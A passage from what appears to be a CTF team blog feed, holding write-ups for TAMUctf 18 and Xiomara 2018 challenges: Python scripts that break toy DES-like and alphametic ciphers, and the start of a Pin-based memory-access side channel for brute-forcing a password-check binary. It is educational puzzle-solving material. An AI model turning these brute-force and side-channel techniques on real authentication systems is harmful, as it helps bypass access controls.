</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0101&#39;</span>] = <span style="color:#fc6a5d">&#39;001&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0110&#39;</span>] = <span style="color:#fc6a5d">&#39;011&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;0111&#39;</span>] = <span style="color:#fc6a5d">&#39;010&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1000&#39;</span>] = <span style="color:#fc6a5d">&#39;101&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1001&#39;</span>] = <span style="color:#fc6a5d">&#39;011&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1010&#39;</span>] = <span style="color:#fc6a5d">&#39;000&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1011&#39;</span>] = <span style="color:#fc6a5d">&#39;111&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1100&#39;</span>] = <span style="color:#fc6a5d">&#39;110&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1101&#39;</span>] = <span style="color:#fc6a5d">&#39;010&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1110&#39;</span>] = <span style="color:#fc6a5d">&#39;001&#39;</span>
</span></span><span style="display:flex;"><span>    d[<span style="color:#fc6a5d">&#39;1111&#39;</span>] = <span style="color:#fc6a5d">&#39;100&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> d
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">generateRandomString</span>(length):
</span></span><span style="display:flex;"><span>    r = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(length):
</span></span><span style="display:flex;"><span>	c = random.randint(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">255</span>)
</span></span><span style="display:flex;"><span>	r += <span style="color:#d0a8ff">chr</span>(c)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> r
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">simpleDES</span>(R, binKey, plaintext):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># Methods to create our S-boxes</span>
</span></span><span style="display:flex;"><span>    d1 = createSBoxS1()
</span></span><span style="display:flex;"><span>    d2 = createSBoxS2()
</span></span><span style="display:flex;"><span>    cyphertext = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># Let&#39;s use a list of chars instead of a string</span>
</span></span><span style="display:flex;"><span>    binaryKey = <span style="color:#d0a8ff">list</span>(binKey)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># Divide into blocks</span>
</span></span><span style="display:flex;"><span>    tmp = stringToBinary(plaintext)
</span></span><span style="display:flex;"><span>    blocks = divideIntoBlocks(tmp, <span style="color:#d0bf69">12</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(blocks)):
</span></span><span style="display:flex;"><span>        block = blocks[i]
</span></span><span style="display:flex;"><span>        Lr, Rr = block[:<span style="color:#d0bf69">6</span>], block[<span style="color:#d0bf69">6</span>:]
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> r in <span style="color:#d0a8ff">range</span>(R):
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># Remapping values of Rr</span>
</span></span><span style="display:flex;"><span>            Rr_remap = Rr[:<span style="color:#d0bf69">2</span>] + Rr[<span style="color:#d0bf69">3</span>:<span style="color:#d0bf69">4</span>] + Rr[<span style="color:#d0bf69">2</span>:<span style="color:#d0bf69">3</span>] + Rr[<span style="color:#d0bf69">3</span>:<span style="color:#d0bf69">4</span>] + Rr[<span style="color:#d0bf69">2</span>:<span style="color:#d0bf69">3</span>] + Rr[<span style="color:#d0bf69">4</span>:]
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># XOR the result with 8 bits of key beginning with key[i*R+r]</span>
</span></span><span style="display:flex;"><span>            index = i*R+r
</span></span><span style="display:flex;"><span>            xorLeft = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>            x = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">while</span> xorLeft &gt; <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>		tmp = <span style="color:#d0a8ff">str</span>(<span style="color:#d0a8ff">int</span>(binaryKey[index]) ^ <span style="color:#d0a8ff">int</span>(Rr_remap[<span style="color:#d0bf69">8</span>-xorLeft]))
</span></span><span style="display:flex;"><span>		x += tmp
</span></span><span style="display:flex;"><span>		index += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>		index %= <span style="color:#d0a8ff">len</span>(binaryKey)
</span></span><span style="display:flex;"><span>		xorLeft -= <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># Divide the result into 2 4-bit sections S1, S2</span>
</span></span><span style="display:flex;"><span>            S1, S2 = x[:<span style="color:#d0bf69">4</span>], x[<span style="color:#d0bf69">4</span>:<span style="color:#d0bf69">8</span>]
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># Concatenate the result of the S-boxes</span>
</span></span><span style="display:flex;"><span>            v = d1[S1] + d2[S2]
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># XOR the result with Lr</span>
</span></span><span style="display:flex;"><span>            Lr_xored = XORBinaryStrings(Lr, v)
</span></span><span style="display:flex;"><span>            cyphertext += Lr_xored
</span></span><span style="display:flex;"><span>            Lr = Rr
</span></span><span style="display:flex;"><span>            Rr = Lr_xored
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> cyphertext
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>R = <span style="color:#d0bf69">2</span>
</span></span><span style="display:flex;"><span>key = <span style="color:#fc6a5d">&#39;Mu&#39;</span>
</span></span><span style="display:flex;"><span>binaryKey = stringToBinary(key)
</span></span><span style="display:flex;"><span>cypher = <span style="color:#fc6a5d">&#39;011001010010001010001100010110000001000110000101&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>i = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>flag = <span style="color:#fc6a5d">&#39;Gigem{&#39;</span>
</span></span><span style="display:flex;"><span>b = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#fc5fa3">True</span>:
</span></span><span style="display:flex;"><span>    s = generateRandomString(<span style="color:#d0bf69">6</span>)
</span></span><span style="display:flex;"><span>    binaryS = stringToBinary(s)
</span></span><span style="display:flex;"><span>    r = simpleDES(R, binaryKey, s)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> r[i:i+<span style="color:#d0bf69">12</span>] == cypher[i:i+<span style="color:#d0bf69">12</span>]:
</span></span><span style="display:flex;"><span>	b += binaryS[i:i+<span style="color:#d0bf69">12</span>]
</span></span><span style="display:flex;"><span>	i += <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> i == <span style="color:#d0bf69">48</span>:
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># Finished</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(b) &gt; <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>    flag += <span style="color:#d0a8ff">chr</span>(binaryStringToInt(b))
</span></span><span style="display:flex;"><span>    b = b[<span style="color:#d0bf69">8</span>:]
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> flag + <span style="color:#fc6a5d">&#39;}&#39;</span>
</span></span></code></pre></div><p>This prints out our flag:
<code>Gigem{M1N0N!}</code></p>
]]></content></item><item><title>TAMUctf 18 - DESpicable me</title><link>https://theromanxpl0.it/posts/2018/03/tamuctf-18-despicable-me/</link><pubDate>Thu, 01 Mar 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/03/tamuctf-18-despicable-me/</guid><description>&lt;blockquote>
&lt;p>Looks like Gru needs a new encryption scheme to facilitate his communication with the criminal council.&lt;/p>
&lt;p>Larry came up with a modified DES algorithm that he is pretty proud of&amp;hellip;but this is Larry we are talking about.&lt;/p>
&lt;p>Make sure you can actually decrypt the message.&lt;/p>
&lt;p>Below is an encrypted communication between Gru and Larry used to test the algorithm. They used the following to encrypt the message.&lt;/p>
&lt;p>&lt;code>larrycrypt -R 4 -K &amp;quot;V3c70R&amp;quot; -m message&lt;/code>&lt;/p></description><content type="html"><![CDATA[<blockquote>
<p>Looks like Gru needs a new encryption scheme to facilitate his communication with the criminal council.</p>
<p>Larry came up with a modified DES algorithm that he is pretty proud of&hellip;but this is Larry we are talking about.</p>
<p>Make sure you can actually decrypt the message.</p>
<p>Below is an encrypted communication between Gru and Larry used to test the algorithm. They used the following to encrypt the message.</p>
<p><code>larrycrypt -R 4 -K &quot;V3c70R&quot; -m message</code></p>
<p>Encrypted Bits: 000101 000000 100111 011001 101110 011101 001110 101111 010001 101111 110000 001001 110010 111011 110111 010001 000100 101011 100010 100010 000001 010100 001111 010010 111110 001110 000111</p>
<p>Here is some relaxing music to soothe your frustration <a href="https://www.youtube.com/watch?v=9RHFFeQ2tu4">https://www.youtube.com/watch?v=9RHFFeQ2tu4</a></p></blockquote>
<p>Being a reversing challenge, I first tried actually reversing it. Crypto algorithms are kind of boring when reversing though, especially unknown ones, so we moved on to other means to get to the flag. I made some assumptions that looked reasonable and made a bruteforce possible:</p>
<ul>
<li>that the encryption of each group of three input bytes was only dependent on previous bytes</li>
<li>that after the first triplet that produces three output bytes all others would produce four</li>
<li>that in each triplet other than the first the first character influenced the first output byte, the first and the second the second output byte, all three the full four byte output</li>
</ul>
<p>Note that the solution is not necessarily unique when considering a prefix of the flag.</p>
<p>We had already obtained the first three bytes (<code>Gig</code>) with a bit of guessing, so with  these considerations in mind, I wrote (not without some effort, I had to change my assumptions a few times) a bruteforce that in less than 15 minutes got us the flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> subprocess
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> string
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> random
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alpha = [x <span style="color:#fc5fa3">for</span> x in string.printable]
</span></span><span style="display:flex;"><span>random.shuffle(alpha)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># Target string, without the first three octects which were bruteforced separately</span>
</span></span><span style="display:flex;"><span>target = <span style="color:#fc6a5d">&#39;011001 101110 011101 001110 101111 010001 101111 110000 001001 110010 111011 110111 010001 000100 101011 100010 100010 000001 010100 001111 010010 111110 001110 000111&#39;</span>
</span></span><span style="display:flex;"><span>target = target.split(<span style="color:#fc6a5d">&#39; &#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">findThree</span>(base):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">global</span> target
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(target) &lt; <span style="color:#d0bf69">4</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">#print &#34;At least four output bytes are required&#34;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> []
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	first = []
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> ch in alpha:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> ch == <span style="color:#fc6a5d">&#39;&#34;&#39;</span> or ch == <span style="color:#fc6a5d">&#39;`&#39;</span>: <span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>		out = subprocess.check_output(<span style="color:#fc6a5d">&#39;./larrycrypt -R 4 -K V3c70R -m &#34;&#39;</span> + base + ch + <span style="color:#fc6a5d">&#39;aa&#34;&#39;</span>, shell=<span style="color:#fc5fa3">True</span>).strip()
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> out.split(<span style="color:#fc6a5d">&#39; &#39;</span>)[-<span style="color:#d0bf69">4</span>] == target[<span style="color:#d0bf69">0</span>]:
</span></span><span style="display:flex;"><span>			first.append(ch)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(first) == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> []
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># print &#34;Possible first chars:&#34;, first</span>
</span></span><span style="display:flex;"><span>	target = target[<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	second = []
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> f in first:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> ch in alpha:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> ch == <span style="color:#fc6a5d">&#39;&#34;&#39;</span> or ch == <span style="color:#fc6a5d">&#39;`&#39;</span>: <span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>			out = subprocess.check_output(<span style="color:#fc6a5d">&#39;./larrycrypt -R 4 -K V3c70R -m &#34;&#39;</span> + base + f + ch + <span style="color:#fc6a5d">&#39;a&#34;&#39;</span>, shell=<span style="color:#fc5fa3">True</span>).strip()
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> out.split(<span style="color:#fc6a5d">&#39; &#39;</span>)[-<span style="color:#d0bf69">3</span>] == target[<span style="color:#d0bf69">0</span>]:
</span></span><span style="display:flex;"><span>				second.append(f + ch)
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(second) == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">return</span> []
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># print &#34;Possible two byte prefixes:&#34;, second</span>
</span></span><span style="display:flex;"><span>	target = target[<span style="color:#d0bf69">1</span>:]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	third = []
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> s in second:
</span></span><span style="display:flex;"><span>		<span style="color:#6c7986">#print base + s</span>
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">for</span> ch in alpha:
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> ch == <span style="color:#fc6a5d">&#39;&#34;&#39;</span> or ch == <span style="color:#fc6a5d">&#39;`&#39;</span> or ch == <span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">&#39;</span>: <span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>			out = subprocess.check_output(<span style="color:#fc6a5d">&#39;./larrycrypt -R 4 -K V3c70R -m &#34;&#39;</span> + base + s + ch + <span style="color:#fc6a5d">&#39;&#34;&#39;</span>, shell=<span style="color:#fc5fa3">True</span>).strip()
</span></span><span style="display:flex;"><span>			<span style="color:#fc5fa3">if</span> out.split(<span style="color:#fc6a5d">&#39; &#39;</span>)[-<span style="color:#d0bf69">2</span>] == target[<span style="color:#d0bf69">0</span>] and out.split(<span style="color:#fc6a5d">&#39; &#39;</span>)[-<span style="color:#d0bf69">1</span>] == target[<span style="color:#d0bf69">1</span>]:
</span></span><span style="display:flex;"><span>				third.append(base + s + ch)
</span></span><span style="display:flex;"><span>	<span style="color:#6c7986"># print &#34;Possible outputs:&#34;, third</span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> third
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>start = [<span style="color:#fc6a5d">&#39;Gig&#39;</span>]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> <span style="color:#d0a8ff">len</span>(target) &gt; <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>	out = []
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> e in start:
</span></span><span style="display:flex;"><span>		t_target = target
</span></span><span style="display:flex;"><span>		out += findThree(e)
</span></span><span style="display:flex;"><span>		target = t_target
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	start = out
</span></span><span style="display:flex;"><span>	target = target[<span style="color:#d0bf69">4</span>:]
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span> out
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> [x <span style="color:#fc5fa3">for</span> x in out <span style="color:#fc5fa3">if</span> x[-<span style="color:#d0bf69">1</span>] == <span style="color:#fc6a5d">&#39;}&#39;</span>]
</span></span></code></pre></div><p>Which gave me <code>GigEm{I7's5ofLUFfy:)}&quot;</code> as the flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>dario@PC:~/desktop/ctf/tamu18/rev200$ <span style="color:#d0a8ff">time</span> python t1.py
</span></span><span style="display:flex;"><span>[<span style="color:#fc6a5d">&#39;GigEh%&#39;</span>, <span style="color:#fc6a5d">&#39;GigEm{&#39;</span>, <span style="color:#fc6a5d">&#39;GigFAD&#39;</span>]
</span></span><span style="display:flex;"><span>[<span style="color:#fc6a5d">&#34;GigEm{I7&#39;&#34;</span>]
</span></span><span style="display:flex;"><span>[<span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5o&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5s&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5I&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5l&#34;</span>]
</span></span><span style="display:flex;"><span>[<span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5ofLU&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5ofLD&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5lqV&gt;&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5lq_z&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5ls6;&#34;</span>]
</span></span><span style="display:flex;"><span>[<span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5ofLUFfy&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5ofLUFfp&#34;</span>]
</span></span><span style="display:flex;"><span>[<span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5ofLUFfy:)}&#34;</span>, <span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5ofLUFfy:)p&#34;</span>]
</span></span><span style="display:flex;"><span>[<span style="color:#fc6a5d">&#34;GigEm{I7&#39;s5ofLUFfy:)}&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>real    13m32.338s
</span></span><span style="display:flex;"><span>user    1m35.500s
</span></span><span style="display:flex;"><span>sys     11m26.359s
</span></span></code></pre></div>]]></content></item><item><title>Xiomara 2018 - Custom HEN</title><link>https://theromanxpl0.it/posts/2018/02/xiomara-2018-custom-hen/</link><pubDate>Mon, 26 Feb 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/02/xiomara-2018-custom-hen/</guid><description>&lt;p>After a rocky start we managed to get a kind of understandable problem statement.&lt;/p>
&lt;p>We are given a custom cipher with references to an &amp;ldquo;alphametic puzzle&amp;rdquo;.&lt;/p>
&lt;p>After a quick search I found &lt;a href="http://www.tkcs-collins.com/truman/alphamet/alpha_solve.shtml">http://www.tkcs-collins.com/truman/alphamet/alpha_solve.shtml&lt;/a>&lt;/p>
&lt;p>And I got a mapping from letters to digits&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>eflag = &lt;span style="color:#fc6a5d">&amp;#39;082_336_88_167755403&amp;#39;&lt;/span>.split(&lt;span style="color:#fc6a5d">&amp;#39;_&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>enc = {&lt;span style="color:#fc6a5d">&amp;#39;C&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">0&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;F&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">2&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;G&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">1&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;H&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">9&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;K&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">3&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;N&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">4&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;P&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">5&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;U&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">6&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;Y&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">7&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;Z&amp;#39;&lt;/span>: &lt;span style="color:#d0bf69">8&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>dec = {&lt;span style="color:#d0a8ff">str&lt;/span>(y): x &lt;span style="color:#fc5fa3">for&lt;/span> x, y in enc.items()}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">alphametic&lt;/span>(x):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#fc6a5d">&amp;#39;&amp;#39;&lt;/span>.join([&lt;span style="color:#d0a8ff">str&lt;/span>(dec[y]) &lt;span style="color:#fc5fa3">for&lt;/span> y in x])
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The second part of the cipher was a bit hard to decipher because of language barriers.&lt;/p></description><content type="html"><![CDATA[<p>After a rocky start we managed to get a kind of understandable problem statement.</p>
<p>We are given a custom cipher with references to an &ldquo;alphametic puzzle&rdquo;.</p>
<p>After a quick search I found <a href="http://www.tkcs-collins.com/truman/alphamet/alpha_solve.shtml">http://www.tkcs-collins.com/truman/alphamet/alpha_solve.shtml</a></p>
<p>And I got a mapping from letters to digits</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>eflag = <span style="color:#fc6a5d">&#39;082_336_88_167755403&#39;</span>.split(<span style="color:#fc6a5d">&#39;_&#39;</span>)
</span></span><span style="display:flex;"><span>enc = {<span style="color:#fc6a5d">&#39;C&#39;</span>: <span style="color:#d0bf69">0</span>, <span style="color:#fc6a5d">&#39;F&#39;</span>: <span style="color:#d0bf69">2</span>, <span style="color:#fc6a5d">&#39;G&#39;</span>: <span style="color:#d0bf69">1</span>, <span style="color:#fc6a5d">&#39;H&#39;</span>: <span style="color:#d0bf69">9</span>, <span style="color:#fc6a5d">&#39;K&#39;</span>: <span style="color:#d0bf69">3</span>, <span style="color:#fc6a5d">&#39;N&#39;</span>: <span style="color:#d0bf69">4</span>, <span style="color:#fc6a5d">&#39;P&#39;</span>: <span style="color:#d0bf69">5</span>, <span style="color:#fc6a5d">&#39;U&#39;</span>: <span style="color:#d0bf69">6</span>, <span style="color:#fc6a5d">&#39;Y&#39;</span>: <span style="color:#d0bf69">7</span>, <span style="color:#fc6a5d">&#39;Z&#39;</span>: <span style="color:#d0bf69">8</span>}
</span></span><span style="display:flex;"><span>dec = {<span style="color:#d0a8ff">str</span>(y): x <span style="color:#fc5fa3">for</span> x, y in enc.items()}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">alphametic</span>(x):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#39;&#39;</span>.join([<span style="color:#d0a8ff">str</span>(dec[y]) <span style="color:#fc5fa3">for</span> y in x])
</span></span></code></pre></div><p>The second part of the cipher was a bit hard to decipher because of language barriers.</p>
<p>What it did was basically:</p>
<ol>
<li>convert each letter of the plain text to its position in the alphabet starting from 0</li>
<li>substitute each number following this rule <code>plain_text[i] = (plain_text[i] - (i+1) * len(plain_text)) % 26</code></li>
<li>convert the numbers back</li>
</ol>
<p>To decrypt we just add instead of subtract</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> string
</span></span><span style="display:flex;"><span>i = <span style="color:#fc5fa3">lambda</span> x: string.uppercase.index(x)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">custom</span>(x):
</span></span><span style="display:flex;"><span>    size = <span style="color:#d0a8ff">len</span>(x)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> j, c in <span style="color:#d0a8ff">enumerate</span>(x):
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">yield</span> string.uppercase[(i(c) + (j + <span style="color:#d0bf69">1</span>) * size) % <span style="color:#d0bf69">26</span>]
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>efl = <span style="color:#fc6a5d">&#39;&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> ef in eflag:
</span></span><span style="display:flex;"><span>    efl += (alphametic(ef))
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;&#39;</span>.join(custom(efl)))
</span></span></code></pre></div><pre><code>THEARSOFDIDUCTION
</code></pre>
]]></content></item><item><title>Xiomara 2018 - Slammer</title><link>https://theromanxpl0.it/posts/2018/02/xiomara-2018-slammer/</link><pubDate>Mon, 26 Feb 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/02/xiomara-2018-slammer/</guid><description>&lt;p>We are given a binary that takes a password as input, sleeps for a couple of seconds and the tells us wether the password is right or wrong.&lt;/p>
&lt;p>Since I didn&amp;rsquo;t feel like reversing this jumpy mess, I decided to solve this challenge using the number of memory accesses as an oracle.&lt;/p>
&lt;p>I can&amp;rsquo;t remember/find where I saw this technique first, if you have any resources you can leave them in the comments.&lt;/p></description><content type="html"><![CDATA[<p>We are given a binary that takes a password as input, sleeps for a couple of seconds and the tells us wether the password is right or wrong.</p>
<p>Since I didn&rsquo;t feel like reversing this jumpy mess, I decided to solve this challenge using the number of memory accesses as an oracle.</p>
<p>I can&rsquo;t remember/find where I saw this technique first, if you have any resources you can leave them in the comments.</p>
<p>I figured out that this binary was just some kind of &ldquo;fancy&rdquo; strcmp, so it probably terminated the execution as soon as it found a non matching character.</p>
<p>First of all overwrite the nanosleep syscall with nops to speed up the bruteforce.</p>
<p>Then use the pinatrace <a href="https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool">pintool</a> to count memory reads and writes.</p>
